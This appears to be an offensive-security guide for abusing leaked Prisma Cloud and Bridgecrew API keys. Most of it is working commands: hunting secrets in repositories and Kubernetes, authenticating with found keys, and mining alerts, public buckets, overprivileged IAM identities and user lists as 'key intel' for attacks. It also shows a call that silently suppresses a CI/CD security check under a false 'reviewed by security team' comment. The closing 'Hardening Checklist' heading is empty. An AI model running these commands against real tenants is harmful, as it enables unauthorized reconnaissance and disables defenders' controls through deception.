Palo Alto Prisma Cloud Security Testing: API Token Exposure, CSPM Alert Enumeration, CI/CD Policy Bypass

Prisma Cloud Architecture and Attack Surface

Prisma Cloud operates as a SaaS platform (app.prismacloud.io) with multiple modules: CSPM for cloud posture, CWPP for workload protection, CIEM for identity management, Code Security (formerly Bridgecrew) for IaC and CI/CD scanning, and Runtime Security (formerly Twistlock) for container/Kubernetes protection.

Key Components and Credential Types

The most commonly exposed credentials are the Prisma Cloud Access Key ID + Secret Key pair (used for the CSPM/platform API) and the Bridgecrew BC_API_KEY (used in CI/CD pipelines for IaC scanning). These have different scopes but both provide significant intelligence about the target's cloud security posture.

API Access Key Exposure and Validation

Prisma Cloud API access keys consist of a Username (Access Key ID) and Password (Secret Key). They are generated in the console under Settings → Access Keys and are associated with a specific user account and its permissions.

Common Exposure Vectors

• Terraform state: The Palo Alto panos and prismacloud Terraform providers store access key IDs and secrets in state files
• GitHub Actions: Secrets named PRISMA_ACCESS_KEY, PRISMA_SECRET_KEY, PC_ACCESS_KEY, BC_API_KEY
• GitLab CI variables: Masked variables for Bridgecrew/Prisma Cloud integration
• Kubernetes ConfigMaps/Secrets: Defender daemonset configurations containing compute console credentials
• Jenkins credentials store: Prisma Cloud credentials stored as Jenkins secrets for pipeline scanning
• Docker build environments: twistcli configurations with embedded access tokens

Secret Scanning for Prisma Cloud Credentials

# Search for Prisma Cloud / Bridgecrew credentials
grep -rE "(PRISMA_ACCESS_KEY|PRISMA_SECRET_KEY|PC_ACCESS_KEY|BC_API_KEY|prismacloud|bridgecrew|app\.prismacloud\.io)" . \
  --include="*.env" --include="*.yml" --include="*.yaml" \
  --include="*.json" --include="*.tf" 2>/dev/null

# Search for Bridgecrew API key format (bc_ prefix)
grep -rE '"bc_[a-zA-Z0-9]{40,}"' . 2>/dev/null

# Search for Prisma Cloud console URL references
grep -rE "app(2?)\.(prismacloud|paloaltonetworks)\.io" . 2>/dev/null

# Search Kubernetes secrets for Prisma credentials
kubectl get secrets --all-namespaces -o json | \
  python3 -c "
import sys, json, base64
data = json.load(sys.stdin)
for item in data['items']:
    for k, v in item.get('data', {}).items():
        decoded = base64.b64decode(v).decode('utf-8', errors='ignore')
        if any(kw in decoded.lower() for kw in ['prisma', 'bridgecrew', 'twistlock', 'bc_api']):
            print(item['metadata']['namespace'], item['metadata']['name'], k, decoded[:80])
"

# Trufflehog for verified secrets
trufflehog filesystem . --only-verified

Prisma Cloud API Authentication

Prisma Cloud uses a token-based authentication model. You exchange an Access Key ID and Secret Key for a JWT token, which is then used as a bearer token for API calls. The tenant URL varies by region and account.

Obtaining an Authentication Token

PC_URL="https://api.prismacloud.io"  # or api2.prismacloud.io, api3.eu.prismacloud.io, etc.
PC_ACCESS_KEY="your_access_key_id"
PC_SECRET_KEY="your_secret_key"

# Authenticate and get JWT token
TOKEN_RESPONSE=$(curl -s -X POST \
  "$PC_URL/login" \
  -H "Content-Type: application/json" \
  -d "{\"username\": \"$PC_ACCESS_KEY\", \"password\": \"$PC_SECRET_KEY\"}")

PC_TOKEN=$(echo $TOKEN_RESPONSE | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
echo "Token acquired: ${PC_TOKEN:0:50}..."

# Validate token — get current user info
curl -s -H "x-redlock-auth: $PC_TOKEN" \
  "$PC_URL/user/me" | python3 -m json.tool
# Returns: username, email, role, last login, tenant info

CSPM Alert and Policy Enumeration

Prisma Cloud continuously evaluates cloud resources against hundreds of built-in and custom policies. All findings (called "alerts") are queryable via API, providing a comprehensive view of the target's cloud security posture.

Cloud Account Inventory

PC_URL="https://api.prismacloud.io"

# Get all onboarded cloud accounts
curl -s -H "x-redlock-auth: $PC_TOKEN" \
  "$PC_URL/cloud" | python3 -m json.tool
# Returns: cloud account names, account IDs, cloud providers (AWS/Azure/GCP), status

# Get a specific cloud account's details
ACCOUNT_ID="your_cloud_account_id"
curl -s -H "x-redlock-auth: $PC_TOKEN" \
  "$PC_URL/cloud/$ACCOUNT_ID" | python3 -m json.tool

Alert and Misconfiguration Enumeration

# Get all open alerts (misconfigurations) filtered by severity
curl -s -X POST \
  -H "x-redlock-auth: $PC_TOKEN" \
  -H "Content-Type: application/json" \
  "$PC_URL/alert" \
  -d '{
    "timeRange": {"type": "to_now", "value": "epoch"},
    "filters": [
      {"name": "alert.status", "operator": "=", "value": "open"},
      {"name": "alert.severity", "operator": "=", "value": "critical"}
    ],
    "limit": 200
  }' | python3 -m json.tool

# This reveals: every critical misconfiguration, affected resource IDs,
# cloud account, region, policy name, risk score

# Get alerts with resource details (full context)
curl -s -X POST \
  -H "x-redlock-auth: $PC_TOKEN" \
  -H "Content-Type: application/json" \
  "$PC_URL/alert" \
  -d '{
    "timeRange": {"type": "to_now", "value": "epoch"},
    "filters": [
      {"name": "alert.status", "operator": "=", "value": "open"},
      {"name": "policy.type", "operator": "=", "value": "config"}
    ],
    "limit": 200,
    "detailed": true
  }' | python3 -m json.tool

RQL Query Execution

# Prisma Cloud's RQL (Resource Query Language) queries cloud resource configs
# An API token can execute arbitrary RQL queries to enumerate cloud resources

# Find all public S3 buckets
curl -s -X POST \
  -H "x-redlock-auth: $PC_TOKEN" \
  -H "Content-Type: application/json" \
  "$PC_URL/search/config" \
  -d '{
    "query": "config from cloud.resource where cloud.type = '\''aws'\'' AND api.name = '\''aws-s3api-get-bucket-acl'\'' AND json.rule = (acl.grants[?any(grantee.type = Group AND grantee.uri contains AllUsers)] exists)",
    "timeRange": {"type": "to_now", "value": "epoch"},
    "limit": 100
  }' | python3 -m json.tool

# Find all AWS IAM access keys that haven't been rotated in 90+ days
curl -s -X POST \
  -H "x-redlock-auth: $PC_TOKEN" \
  -H "Content-Type: application/json" \
  "$PC_URL/search/config" \
  -d '{
    "query": "config from cloud.resource where cloud.type = '\''aws'\'' AND api.name = '\''aws-iam-list-access-keys'\'' AND json.rule = accessKeyMetadata[?any(status = Active)] exists",
    "timeRange": {"type": "to_now", "value": "epoch"},
    "limit": 100
  }' | python3 -m json.tool

# Find Azure storage accounts with public blob access
curl -s -X POST \
  -H "x-redlock-auth: $PC_TOKEN" \
  -H "Content-Type: application/json" \
  "$PC_URL/search/config" \
  -d '{
    "query": "config from cloud.resource where cloud.type = '\''azure'\'' AND api.name = '\''azure-storage-account-list'\'' AND json.rule = properties.allowBlobPublicAccess is true",
    "timeRange": {"type": "to_now", "value": "epoch"}
  }' | python3 -m json.tool

CIEM Identity Risk Enumeration

Prisma Cloud's Cloud Infrastructure Entitlement Management (CIEM) module analyzes IAM policies across all cloud accounts and identifies overprivileged identities, unused permissions, and privilege escalation paths. This data is highly valuable for cloud attack planning.

IAM and Identity Risk Data

# Get IAM entity permissions (users, roles, service accounts)
curl -s -H "x-redlock-auth: $PC_TOKEN" \
  "$PC_URL/iam/entities" | python3 -m json.tool

# Get overprivileged identities (identities with more permissions than used)
curl -s -X POST \
  -H "x-redlock-auth: $PC_TOKEN" \
  -H "Content-Type: application/json" \
  "$PC_URL/iam/access-explorer" \
  -d '{
    "cloudType": "aws",
    "timeRange": {"type": "to_now", "value": "epoch"},
    "filters": [
      {"name": "identity.type", "operator": "=", "value": "USER"},
      {"name": "excess_permissions", "operator": "=", "value": "true"}
    ],
    "limit": 100
  }' | python3 -m json.tool
# Returns: IAM user ARNs, their granted vs. actually-used permissions
# Key intel for identifying which accounts to target for privilege escalation

# Get privilege escalation paths (CIEM attack path analysis)
curl -s -X POST \
  -H "x-redlock-auth: $PC_TOKEN" \
  -H "Content-Type: application/json" \
  "$PC_URL/search/config" \
  -d '{
    "query": "config from iam where source.cloud.type = '\''AWS'\'' and dest.cloud.resource.type = '\''AWS::IAM::User'\'' and grantedby.cloud.type != '\''N/A'\''",
    "timeRange": {"type": "to_now", "value": "epoch"},
    "limit": 100
  }' | python3 -m json.tool

CI/CD Code Security Policy Bypass

Prisma Cloud Code Security (formerly Bridgecrew) integrates into CI/CD pipelines to block IaC deployments that violate security policies. If you can modify the Prisma Cloud policies or suppress findings, you can enable deployments of insecure infrastructure that would otherwise be blocked.

Checkov / Bridgecrew API Abuse

BC_API_KEY="your_bridgecrew_api_key"
BC_URL="https://www.bridgecrew.cloud"

# Validate BC_API_KEY
curl -s -H "authorization: $BC_API_KEY" \
  "$BC_URL/api/v1/users/me" | python3 -m json.tool

# List all security policies that CI/CD checks enforce
curl -s -H "authorization: $BC_API_KEY" \
  "$BC_URL/api/v1/policies" | python3 -m json.tool

# Suppress a specific check for a resource (whitelist an IaC misconfiguration)
curl -s -X POST \
  -H "authorization: $BC_API_KEY" \
  -H "Content-Type: application/json" \
  "$BC_URL/api/v1/suppressions" \
  -d '{
    "suppressionType": "Policy",
    "policyId": "BC_AWS_GENERAL_56",
    "comment": "Risk accepted — reviewed by security team",
    "resources": []
  }' | python3 -m json.tool
# This creates a global suppression for the specified policy check
# CI/CD scans will pass even if the misconfiguration exists

# List all repositories connected to Bridgecrew (code asset inventory)
curl -s -H "authorization: $BC_API_KEY" \
  "$BC_URL/api/v1/repositories" | python3 -m json.tool

# Get scan results for a specific repository
REPO_ID="your_repo_id"
curl -s -H "authorization: $BC_API_KEY" \
  "$BC_URL/api/v1/repositories/$REPO_ID/scan-results" | python3 -m json.tool

Cloud Account and Credential Enumeration

Beyond policy findings, Prisma Cloud's API exposes detailed information about connected cloud accounts, including their integration credentials, onboarding status, and the specific IAM roles used for connectivity.

Cloud Account Credential Context

# Get full cloud account configuration (includes IAM role ARNs and external IDs)
curl -s -H "x-redlock-auth: $PC_TOKEN" \
  "$PC_URL/cloud/aws/$ACCOUNT_ID" | python3 -m json.tool
# For AWS: reveals the roleArn and externalId used for Prisma Cloud connectivity
# External ID is part of the trust policy — useful for cross-account role analysis

# Get Azure subscription details (reveals tenant ID, subscription ID, app credentials)
curl -s -H "x-redlock-auth: $PC_TOKEN" \
  "$PC_URL/cloud/azure/$ACCOUNT_ID" | python3 -m json.tool

# Get GCP project details (reveals service account details)
curl -s -H "x-redlock-auth: $PC_TOKEN" \
  "$PC_URL/cloud/gcp/$ACCOUNT_ID" | python3 -m json.tool

# Export alert data for a specific cloud account (bulk export)
curl -s -X POST \
  -H "x-redlock-auth: $PC_TOKEN" \
  -H "Content-Type: application/json" \
  "$PC_URL/alert/export" \
  -d '{
    "timeRange": {"type": "to_now", "value": "epoch"},
    "filters": [
      {"name": "cloud.accountId", "operator": "=", "value": "'$ACCOUNT_ID'"},
      {"name": "alert.status", "operator": "=", "value": "open"}
    ]
  }' -o prisma_alerts_export.csv

User and Role Enumeration

# List all Prisma Cloud users
curl -s -H "x-redlock-auth: $PC_TOKEN" \
  "$PC_URL/user" | python3 -m json.tool
# Returns: usernames, email addresses, roles, last login times, enabled status
# Key finding: users without SSO enforcement are password-attack targets

# List all service account / access keys (admin only)
curl -s -H "x-redlock-auth: $PC_TOKEN" \
  "$PC_URL/user/apikey" | python3 -m json.tool
# Returns metadata about all active API keys — ID, username, creation date, last used

# List user roles and their permissions
curl -s -H "x-redlock-auth: $PC_TOKEN" \
  "$PC_URL/user/role" | python3 -m json.tool

Hardening Checklist